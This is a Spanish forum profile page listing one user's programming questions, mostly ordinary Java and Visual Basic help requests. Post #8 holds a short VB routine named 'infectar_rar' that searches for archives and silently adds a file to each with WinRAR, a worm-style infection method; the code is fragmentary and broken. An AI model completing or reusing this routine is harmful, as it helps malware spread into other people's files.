Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Saok Dagon

#1
Java / Enviar archivo
22 Abril 2008, 16:08 PM

Tengo la sigiente duda, estoy trantando de hacer un sistema que mande un archivo atraves de java por internet a otra pc. Entonces tengo la sigiente duda que no se como tomarla, mi idea era que, el cliente, mandara una "contraseña" de conexion al servidor para que este permita la conexion y aceptar el archivo, pero que si esa contraseña es correcta o no mandada, rechaze la conexion ( algo asi como un firewall monopuerto ). Es por el tema de la seguridad y eso.


Ciente
Citar
import java.net.Socket;
import java.io.InputStreamReader;
public class Cliente {
private String ip = "IP";
private int puerto = 16000;
private String nomArchivo = "archivo_nombre";
public Cliente(){
Socket socket = null;
java.io.FileInputStream in = null;
java.io.FileOutputStream pt = null;
try {
socket = new Socket(ip,puerto);
pt = (java.io.FileOutputStream)socket.getOutputStream() ;//
in = new java.io.FileInputStream(new java.io.File(nomArchivo));
} catch(Exception e) {
System.out.println("No se pudo crear la conexión\n"+e);
}
try {
socket.sendUrgentData(100);
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0 ){
pt.write(buf, 0, len);
}
pt.close();
in.close();
socket.close();
} catch(Exception e) {
System.out.println("Error al enviar mensaje\n"+e);
}
}
public static void main(String a[]) {
new Cliente();
}
}

Servidor

Citarimport java.net.ServerSocket;
import java.net.Socket;
public class Servidor implements Runnable {
ServerSocket server;
public Servidor() {
try {

server=new ServerSocket(16000);
System.out.println("Servidor corriendo...");
} catch(Exception e) {
System.out.println("Error al correr el servidor\n"+e);
System.exit(1);
}
}

public void run() {
Socket client=null;
while (true) {
if (server==null)
return;
try {
client=server.accept();
System.out.println("Llegó un cliente!");
} catch(java.io.IOException e) {
System.err.println("No se pudo establecer conexión " + e.getMessage());
}
try {
java.io.InputStream in = client.getInputStream();
//CREAMOS LA INSTANCIA PARA ESCRIBIR EL ARCHIVO EN DISCO
java.io.FileOutputStream out = new java.io.FileOutputStream(new java.io.File("C:\\llego.msi"));
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
in.close();
out.close();
} catch(java.io.IOException e) {
System.out.println("Error: " + e);
}
}
}

public static void main(String a[]) {
Servidor servidor = new Servidor();
// Ponemos a correr nuestro hilo servidor
new Thread(servidor).start();
}
}
#2


Veamos mi duda es la sigiente:

Lo que necesito es que compare lo que yo diga por el microfono, con da igual un texto o otra grabacion, pero que haga una comparacion y si es correcta siga y si no se cierre.

Para aclarar más, es de esos programitas que dices "Internet Explorer" y si lo has dicho claramente abre el internet explorer.

Haber si me podeis guiar mas o menos.

saludos
#3
Hola

alomejor es una tonteria, pero no encuentro como habilitar el remote desktop desde VB, yo recuerdo hacerlo en batch pero en VB (100%) no encuentro la forma

saludos
#4
Hola

veamos, loq ue necesito es que mi programa mire aver si esta el word y si es asi que devuelva  existeword = true  y en caso contario existeword = false

saludos
#5
 

pues eso cuando intento entrar a cualquier server se que cuelga en la barrita de proceso de cargado cuando dice analizando informacion....

que pasa, como puedo solucionarlo?

saludos
#6
Hola

bueno, tengo un programa y me gustaria que se instalara en todas las Pcs de mi red lan (logicamente ejecutandolo en la pc administradora) seria posible?

aver si algien me guia un poco

saludos
#7
Hola

necesito averiguar el disco duro en el que esta instalado Windows

normalmente puede ser en C  pero si fuera por ejemplo en P k lo alamacenara en una variable


saludos
#8
ola

Citar
Private Sub search_rar()
On Error Resume Next
Dim NombreRar As String
Dim rarExit As String
rarExit = FindFirstFile("*.zip", NombreRar)
infectar_rar NombreRar.cFileName
While FindNextFile(rarExit, NombreRar)
infectar_rar NombreRar.cFileName
End Sub

Function infectar_rar(NombreRar As String)
On Error Resume Next
Dim file_exe As String
Dim winrar As String
winrar = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe"
Shell winrar & " -a " & NombreRar & " " & text1.text, vbHide
End Function

Queria saber si asi esta bien montado el motor de busqueda para los .rar y luego la forma de usar los resultados.

saludos[sh]
#9
Programación Visual Basic / Sistema de seriales
29 Octubre 2006, 17:43 PM
ola

tengo una duda como podria ponerle a un programa mio un sistema de seriales que para instalarlo o usarlo necesitaras introducir un serial y ese serial solo valiera 1 vez?

saludos[sh]
#10
ola

bueno pues el titulo lo dice todo,me falta el archivo pak000.pk4 algien lo tiene y lo podria subir o sabe donde bajarlo?.

saludos[sh]
#11
Hola

veamos me fallan dos cosas de mi programa.Yo estoy haciendo un flitrador de webs para que haya webs que se puedan visitar y webs que no,yo tenia pensado usar los archivos Host que estan en stem32/drivers/etc pero no me funciona,entonces me e quedado sin ideas.

el problema B esque uso un progress bar  pero esta barra no se me mueve nunca cambia  :-\

aver si me echan una mano

saludos[sh]
#12
Juegos y Consolas / Duda sobre PCSX2 , servira?
2 Octubre 2006, 07:42 AM
ola

bueno me lei el tutorial que estaba a principio de este area y me quede con una duda,yo tengo un juego de la ps2 (original o pirata me es indiferente) y lo meto en la unidad de CD/DVD de mi ordenador.

Este emulador seria capaz de leerlo?

saludos[sh]
#13
ola

Bueno tengo un problema,necesito que mi programa cree una clave en el registro(eso se hacerlo).Luego en otro programa necesito que compruebe esa clave(no se como puedo comprovarla) si esta termine su propio proceso(esto se hacerlo) y si no esta siga la ejecucion del resto del codigo.

aver si me pueden exar una mano

saludos[sh]

pd:tengo unos conocimientos casi medios de VB